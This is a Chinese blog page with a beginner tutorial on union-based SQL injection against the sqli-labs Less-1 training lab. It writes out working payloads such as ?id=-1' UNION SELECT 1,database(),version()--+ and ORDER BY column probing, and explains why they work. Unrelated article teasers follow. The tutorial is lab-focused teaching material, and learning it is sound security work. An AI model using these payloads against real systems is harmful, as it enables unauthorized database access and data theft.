news 2026/10/3 7:15:06

新手向从0剖析漏洞之SQL注入联合查询--0x0003

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手向从0剖析漏洞之SQL注入联合查询--0x0003

前言:在SQL注入讲解的前期,我们先使用最经典的sqli-lab靶场进行分析

一、源码分析:Less-1 的注入点与联合查询基础

1. 页面功能与请求链路

  • Less-1 是一个 GET 请求页面,参数为id。
  • 后端接收id后直接拼接 SQL,无过滤、无预处理。
  • 查询成功时回显:
    • Your Login name: ...
    • Your Password: ...
  • 查询失败时输出mysql_error(),可辅助报错注入。

2. 关键源码解读

核心代码:

要点:

  • 页面只回显username和password,id不回显。
  • LIMIT 0,1和mysql_fetch_array都只取第一行,影响联合查询的利用方式。

3. SQL 模板拆解

实际 SQL 结构:

SELECT*FROMusersWHEREid='$id'LIMIT0,1

注入时需要:

  1. 闭合前面的单引号
  2. 构造自己的 SQL 逻辑(文章0x0002我们只了解了可以闭合后构造自己的语句,这篇文章我们将展示具体操作)
  3. 注释掉后面的' LIMIT 0,1

例如:

?id=-1' UNION SELECT 1,2,3--+

拼接后:

SELECT*FROMusersWHEREid='-1'UNIONSELECT1,2,3-- ' LIMIT 0,1

4. 判断闭合方式


和文章0x0002方法相同,我们发现单引号改变了SQL语句的逻辑,现在再补充一种复核的方法,继续测试:

?id=1'--+


页面恢复正常,说明注释符生效,成功闭合。

5. 联合查询为什么能打

原 SQL 是SELECT查询,页面有明确回显位,因此可以使用UNION SELECT。

联合查询条件:

  • 原查询必须是SELECT且两个SELECT的列数必须相同。
  • 对应列的数据类型最好兼容。
  • 页面必须有回显位。
  • 最好让前半段查询无结果,这样联合查询的结果才能优先显示。

6. Less-1 联合查询完整实操流程

6.1 判断列数

方法一:ORDER BY

?id=1' ORDER BY 3--+


正常。

?id=1' ORDER BY 4--+


ORDER BY是指按照某一列排序,如果该列不存在则会报错,说明列数为 3。

方法二:直接UNION SELECT

?id=1' UNION SELECT 1,2,3--+



如果列数不匹配,会报:

The used SELECT statements have a different number of columns
6.2 确定回显位
?id=-1' UNION SELECT 1,2,3--+


页面显示:

Your Login name:2 Your Password:3

说明第 2、3 列是回显位。

注意:

  • 为什么用-1?
    • 让WHERE id='-1'查不到数据,前半段为空。
    • 这样联合查询的结果才会被mysql_fetch_array取到。
  • 如果写成?id=1' UNION SELECT 1,2,3--+,前半段有结果,页面可能只显示 id=1 的用户。
6.3 获取当前库、用户、版本、操作系统
?id=-1' UNION SELECT 1,database(),version()--+

?id=-1' UNION SELECT 1,user(),@@version_compile_os--+


观察回显:

  • database():当前数据库名。
  • version():MySQL 版本。
  • user():当前数据库用户。
  • @@version_compile_os :当前数据库操作系统

7. 源码缺陷总结

  • SELECT *+ 固定回显位,使联合查询非常直观。
  • LIMIT 0,1和mysql_fetch_array只取第一行,但可通过-1让联合结果优先显示。

8. 与 sqli-labs 其他关卡映射

  • 分析Less-2、Less-3、Less-12源码,尝试使用联合查询获取当前库、用户、版本、操作系统。

9.现代网站应用场景:和闭合手法情况相似,参考文章0x0002

后记:大多数讲解联合查询的课程都会一起讲information_schema元数据的内容,但是个人认为这对于新手来说冲击会比较大,所以决定把内容分为两次文章来讲解。希望各位业内的老师傅能纠正文章的错误

(非商业用途,仅供交流学习,禁止转载)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/3 7:15:02

SAP虚拟利润中心错记的全链路修复与防错机制

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/3 7:14:34

手撕SVD电影推荐:从矩阵构建到Flask部署的全流程实现

简介:本资源是一套基于Python与SVD算法实现的电影推荐系统完整源码工程,面向数据挖掘初学者、推荐系统入门开发者及高校课程设计实践者,旨在解决用户冷启动有限场景下的评分预测与个性化推荐问题。压缩包共35个文件,含10个核心.py…

作者头像 李华
网站建设 2026/10/3 7:14:27

定制化软件开发全场景落地指南

很多企业在推进数字化转型时,往往陷入一个误区:认为买一套通用的 SaaS 软件或者找个模板套一下就能解决所有问题。结果往往是系统上线后,业务部门抱怨流程走不通,关键数据对不上,稍微复杂点的交互场景就卡壳&#xff0…

作者头像 李华
网站建设 2026/10/3 7:14:13

免费PDF转PPT工具推荐!无水印、不限次数、新手直接用

日常办公、学生做汇报,大概率都会遇到一个刚需问题:拿到一份PDF资料,需要快速改成可编辑、可演示的PPT。手动复制粘贴、重新排版又慢又容易乱,网上很多转换工具要么收费、要么带水印、要么转换完格式彻底错乱。今天整理一套真正免…

作者头像 李华
网站建设 2026/10/3 7:13:35

Docker -- 构建redis镜像

配置信息dockerfile 构建镜像文件,# 基础镜像 FROM redis # author MAINTAINER ruoyi# 挂载目录 VOLUME /home/kane/docker/redis # 创建目录 RUN mkdir -p /home/kane/docker/redis # 指定路径 WORKDIR /home/kane/docker/redis # 复制conf文件到路径 COPY ./conf/…

作者头像 李华